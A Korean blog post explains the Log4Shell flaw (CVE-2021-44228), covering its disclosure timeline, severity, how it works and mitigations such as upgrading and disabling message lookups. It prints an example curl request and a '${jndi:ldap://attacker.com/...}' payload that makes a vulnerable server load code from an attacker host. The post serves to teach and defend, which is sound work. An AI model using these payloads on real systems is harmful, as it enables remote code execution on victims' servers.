2022. 2. 14. 21:53ㆍIT 리뷰
안녕하십니까 IT를 공부하고 있는
항상 노력학는 긍정이입니다
이번 포스팅은
2021년 12월에 핫하게
발생한 log4jshell에 대해서
제가 나름 정리를하여
공유합니다
먼저
log4jshell이란 무엇인가?
1. Log4J 개념 : 프로그램 언어 자바 기반 로깅 유틸리티 라이브러리
2. Log4J의 정식 명칭 : CVE-2021-44228
cve이름 – 해당년도 – 번호
참고 사이트 : https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=2021-44228
3. Log4J : 일명 제로데이 취약점(공격자(해커)가 먼저 발견한 취약점)
4. Log4J : Log4shell이라는 별명
5. Log4J : 이 취약점은 RCE(Remote Code Execution)으로 CVSS 10점 기록
그러면
그 다음으로
log4jshell의 발견경위는?
1. 2021년 11월 24일 – 알리바바 클라우드 보안팀의 Chen Zhaojun 에 의해 최초 보고됨
2. 2021년 12월 10일 – PaperMC가 자사 Discord 서버를 이용하여 긴급 공지를 전송
3. 2021년 12월 10일 – 마인크래프트의 기술 책임자가 본인 트위터를 통해 “마인크래프트에 영향을 미치는 중요한 보안 문제가 발견되어 수정하였다”라고 발표
4. 2021년 12월 11일 - KISA에서 보안 공지를 통해 각 Log4j 버전 별로 해결할 수 있는 방법을 게시
그렇다면
왜 log4jshell이 사상 최악의 취약점이라고 하는지?
1. 자바 기반의 소프트웨어에서 많이 사용하고 있는 라이브러리
2. 공격 방법이 쉬움
3. 본인이 사용하는 소프트웨어 중에서 한 개라도 Log4J를 사용하면 해당 소프트웨어는 취약함
4. 오랫동안 방치된 취약점으로 피해 범위 파악이 어려움
log4jshell 의 동작원리란?
예를들어 로그를 남길 때 다음과 같이 남긴다고 하면
- log.info("Request User Agent: {}", request.getHeader("X-Api-Version"));
해커가 악의적으로 HTTP의 Header, X-Api-Version 값에 해커의 주소로 설정한 다음 다음과 같은 요청을 보내면 해커 위와 같은 동작원리로 인해 해커 서버로 요청을 전송하는 방식
- curl [Victim IP:PORT] -H 'X-Api-Version: ${jndi:ldap://[HACKER SERVER]}’
서버의 log4j로그를 살펴보면 다음과 같은 로그가 남아 있다.
(…WARN Error looking up JNDI resource [ldap://hacker-server]…)
2021-12-12 07:19:17.375 WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present] 2021-12-12 07:19:34,650 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://hacker-server]. javax.naming.CommunicationException: hacker-server:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
log4jshell의 공격예시
1. JNDI를 이용한 공격
-JNDI란 Java Naming and Directory Interface의 약자로 보통 분산시스템에서 다른 리소스를 가져오는데 사용
다른 리소스의 예로 자바 클래스 등에서 공격자가 이 경로를 자신의 서버로 지정하면 취약점이 있는 서버가 공격자의 서버에서 클래스를 다운받는 것
이렇게 공격자의 서버에서 클래스를 다운받아 코드를 실행
예를들어 다음과 같은 로그 라인이 서버 어플리케이션에 존재한다고 하면
- log.info("Debug: {}", payload);
여기서 payload는 HTTP Requests에서 요청자가 보낸 문자열이다.
이 문자열이 ${jndi:ldap://attacker.com/classname}을 포함하면 Log4j는 이를 해석하여 ldap://attacker.com/classname을 실행시키게 된다. 현재 가장 쉽게 공격할 수 있는 방법은 HTTP 헤더 User-Agent에 ldap주소를 넣어 코드를 다운받는 방법
User-Agent 헤더 뿐만 아니라, HTTP Request에게서 받은 문자열을 로깅하는 경우 어디서든지 지정한 문자열을 로깅하기만 하면 취약점에 노출되어 있음
그렇다면 log4jshell 취약점을
어떻게 대응을 하면 좋을것 인가?
첫 번째 대응방안
- log4j 2.17.0 이후 버전으로 업그레이드 : KISA에서도 이 방법을 가장 먼저 제안
1. 자바 8 버전 : Log4j 2.17.1 버전으로 업데이트
2. 자바 7 버전 : Log4j 2.12.3 버전으로 업데이트
3. 자바 6 버전 : Log4j 2.3.1 버전으로 업데이트
두 번째 대응방안
- 신규 업데이트가 불가능한 경우
1. Java 실행 인자(Arguments) 에 시스템 속성을 추가해 메시지 lookup을 방어
- Dlog4j2.formatMsgNoLookups=true
2. Java 실행 계정의 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정
- /etc/environment 파일에 해당 내용을 추가
3. log4j 2.7.0 버전 이상 사용시에는 log4.xml 등의 설정에 PatternLayout 속성에 있는
%m 부분을 %m{nolookups}로 교체
'IT 리뷰' 카테고리의 다른 글
3 way handshaking 이란 무엇인가 (0) | 2022.03.27 |
---|---|
TCP 대표적인 특징 (0) | 2022.03.26 |
샥즈 오픈런 무선 골전도 블루투스 이어폰 헤드셋 찐리뷰 (0) | 2022.01.21 |
4차산업혁명이란 무엇인가 (0) | 2021.10.16 |
bps와 pps의 차이점 (0) | 2021.08.18 |